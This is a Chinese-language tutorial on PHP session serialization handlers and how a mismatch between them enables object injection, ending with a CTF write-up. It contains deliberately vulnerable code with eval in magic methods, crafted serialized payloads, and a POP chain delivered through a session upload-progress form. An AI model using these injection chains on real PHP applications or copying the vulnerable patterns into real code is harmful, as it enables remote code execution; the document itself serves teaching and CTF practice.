深入解析PHP中SESSION反序列化機(jī)制
簡介
在php.ini中存在三項(xiàng)配置項(xiàng):
session.save_path=""--設(shè)置session的存儲路徑session.save_handler=""--設(shè)定用戶自定義存儲函數(shù),如果想使用PHP內(nèi)置會話存儲機(jī)制之外的可以使用本函數(shù)(數(shù)據(jù)庫等方式)session.auto_start boolen--指定會話模塊是否在請求開始時(shí)啟動一個會話,默認(rèn)為0不啟動session.serialize_handler string--定義用來序列化/反序列化的處理器名字。默認(rèn)使用php
以上的選項(xiàng)就是與PHP中的Session存儲和序列話存儲有關(guān)的選項(xiàng)。
在使用xampp組件安裝中,上述的配置項(xiàng)的設(shè)置如下:
session.save_path="D:\xampp\tmp"表明所有的session文件都是存儲在xampp/tmp下session.save_handler=files表明session是以文件的方式來進(jìn)行存儲的session.auto_start=0表明默認(rèn)不啟動sessionsession.serialize_handler=php表明session的默認(rèn)序列話引擎使用的是php序列話引擎
在上述的配置中,session.serialize_handler是用來設(shè)置session的序列話引擎的,除了默認(rèn)的PHP引擎之外,還存在其他引擎,不同的引擎所對應(yīng)的session的存儲方式不相同。
- php_binary:存儲方式是,鍵名的長度對應(yīng)的ASCII字符+鍵名+經(jīng)過serialize()函數(shù)序列化處理的值
- php:存儲方式是,鍵名+豎線+經(jīng)過serialize()函數(shù)序列處理的值
- php_serialize(php>5.5.4):存儲方式是,經(jīng)過serialize()函數(shù)序列化處理的值
在PHP中默認(rèn)使用的是PHP引擎,如果要修改為其他的引擎,只需要添加代碼ini_set('session.serialize_handler', '需要設(shè)置的引擎');。
示例代碼如下:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something
存儲機(jī)制
php中的session中的內(nèi)容并不是放在內(nèi)存中的,而是以文件的方式來存儲的,存儲方式就是由配置項(xiàng)session.save_handler來進(jìn)行確定的,默認(rèn)是以文件的方式存儲。
存儲的文件是以sess_sessionid來進(jìn)行命名的,文件的內(nèi)容就是session值的序列話之后的內(nèi)容。
假設(shè)我們的環(huán)境是xampp,那么默認(rèn)配置如上所述。
在默認(rèn)配置情況下:
<?php session_start() $_SESSION['name'] = 'spoock'; var_dump(); ?>
最后的session的存儲和顯示如下:

可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存儲的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的內(nèi)容是name|s:6:"spoock"; 。name是鍵值,s:6:"spoock";是serialize("spoock")的結(jié)果。
在php_serialize引擎下:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>
SESSION文件的內(nèi)容是a:1:{s:4:"name";s:6:"spoock";} 。a:1是使用php_serialize進(jìn)行序列話都會加上。同時(shí)使用php_serialize會將session中的key和value都會進(jìn)行序列化。
在php_binary引擎下:
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>
SESSION文件的內(nèi)容是names:6:"spoock"; 。由于name的長度是4,4在ASCII表中對應(yīng)的就是EOT。根據(jù)php_binary的存儲規(guī)則,最后就是names:6:"spoock"; 。(突然發(fā)現(xiàn)ASCII的值為4的字符無法在網(wǎng)頁上面顯示,這個大家自行去查ASCII表吧)
序列化簡單利用
test.php
<?php
class syclover{
var $func="";
function __construct() {
$this->func = "phpinfo()";
}
function __wakeup(){
eval($this->func);
}
}
unserialize($_GET['a']);
?>
在11行對傳入的參數(shù)進(jìn)行了序列化。我們可以通過傳入一個特定的字符串,反序列化為syclover的一個示例,那么就可以執(zhí)行eval()方法。我們訪問localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";} 。
那么反序列化得到的內(nèi)容是:
object(syclover)[1] public 'func' => string 'echo "spoock";' (length=14)
最后頁面輸出的就是spoock,說明最后執(zhí)行了我們定義的echo "spoock";方法。
這就是一個簡單的序列化的漏洞的演示
PHP Session中的序列化危害
PHP中的Session的實(shí)現(xiàn)是沒有的問題,危害主要是由于程序員的Session使用不當(dāng)而引起的。
如果在PHP在反序列化存儲的$_SESSION數(shù)據(jù)時(shí)使用的引擎和序列化使用的引擎不一樣,會導(dǎo)致數(shù)據(jù)無法正確第反序列化。通過精心構(gòu)造的數(shù)據(jù)包,就可以繞過程序的驗(yàn)證或者是執(zhí)行一些系統(tǒng)的方法。例如:
$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';
上述的$_SESSION的數(shù)據(jù)使用php_serialize,那么最后的存儲的內(nèi)容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";} 。
但是我們在進(jìn)行讀取的時(shí)候,選擇的是php,那么最后讀取的內(nèi)容是:
array (size=1)
'a:1:{s:6:"spoock";s:24:"' =>
object(__PHP_Incomplete_Class)[1]
public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)
這是因?yàn)楫?dāng)使用php引擎的時(shí)候,php引擎會以|作為作為key和value的分隔符,那么就會將a:1:{s:6:"spoock";s:24:"作為SESSION的key,將O:11:"PeopleClass":0:{}作為value,然后進(jìn)行反序列化,最后就會得到PeopleClas這個類。
這種由于序列話化和反序列化所使用的不一樣的引擎就是造成PHP Session序列話漏洞的原因。
實(shí)際利用
存在s1.php和us2.php,2個文件所使用的SESSION的引擎不一樣,就形成了一個漏洞、
s1.php,使用php_serialize來處理session
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
us2.php,使用php來處理session
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}
當(dāng)訪問s1.php時(shí),提交如下的數(shù)據(jù):
localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
此時(shí)傳入的數(shù)據(jù)會按照php_serialize來進(jìn)行序列化。
此時(shí)訪問us2.php時(shí),頁面輸出,spoock成功執(zhí)行了我們構(gòu)造的函數(shù)。因?yàn)樵谠L問us2.php時(shí),程序會按照php來反序列化SESSION中的數(shù)據(jù),此時(shí)就會反序列化偽造的數(shù)據(jù),就會實(shí)例化lemon對象,最后就會執(zhí)行析構(gòu)函數(shù)中的eval()方法。
CTF
在安恒杯中的一道題目就考察了這個知識點(diǎn)。題目中的關(guān)鍵代碼如下:
class.php
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>這是foo1的析構(gòu)函數(shù)<br>";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>這是foo2的析構(gòu)函數(shù)<br>";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>這是foo3的析構(gòu)函數(shù)<br>";
}
}
?>
index.php
<?php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>
通過代碼發(fā)現(xiàn),我們最終是要通過foo3中的execute來執(zhí)行我們自定義的函數(shù)。
那么我們首先在本地搭建環(huán)境,構(gòu)造我們需要執(zhí)行的自定義的函數(shù)。如下:
myindex.php
<?php
class foo3{
public $varr='echo "spoock";';
function execute(){
eval($this->varr);
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = new foo3();
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
}
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
}
}
$obj = new foo1();
print_r(serialize($obj));
?>
在foo1中的構(gòu)造函數(shù)中定義$varr的值為foo2的實(shí)例,在foo2中定義$obj為foo3的實(shí)例,在foo3中定義$varr的值為echo "spoock"。最終得到的序列話的值是
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}
這樣當(dāng)上面的序列話的值寫入到服務(wù)器端,然后再訪問服務(wù)器的index.php,最終就會執(zhí)行我們預(yù)先定義的echo "spoock";的方法了。
寫入的方式主要是利用PHP中Session Upload Progress來進(jìn)行設(shè)置,具體為,在上傳文件時(shí),如果POST一個名為PHP_SESSION_UPLOAD_PROGRESS的變量,就可以將filename的值賦值到session中,上傳的頁面的寫法如下:
<form action="index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>
最后就會將文件名寫入到session中,具體的實(shí)現(xiàn)細(xì)節(jié)可以參考PHP手冊。
那么最終寫入的文件名是|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}。注意與本地反序列化不一樣的地方是要在最前方加上|
但是我在進(jìn)行本地測試的時(shí)候,發(fā)現(xiàn)無法實(shí)現(xiàn)安恒這道題目所實(shí)現(xiàn)的效果,但是最終的原理是一樣的。
總結(jié)
通過對PHP中的SESSION的分析,對PHP中的SESSION的實(shí)現(xiàn)原理有了更加深刻的認(rèn)識。這個PHP的SESSION問題也是一個很好的問題。上述的這篇文章不僅使大家PHP中的SESSION的序列化漏洞有一個認(rèn)識,也有助于程序員加強(qiáng)在PHP中的SESSION機(jī)制的理解。
好了,以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作能帶來一定的幫助,如果有疑問大家可以留言交流。
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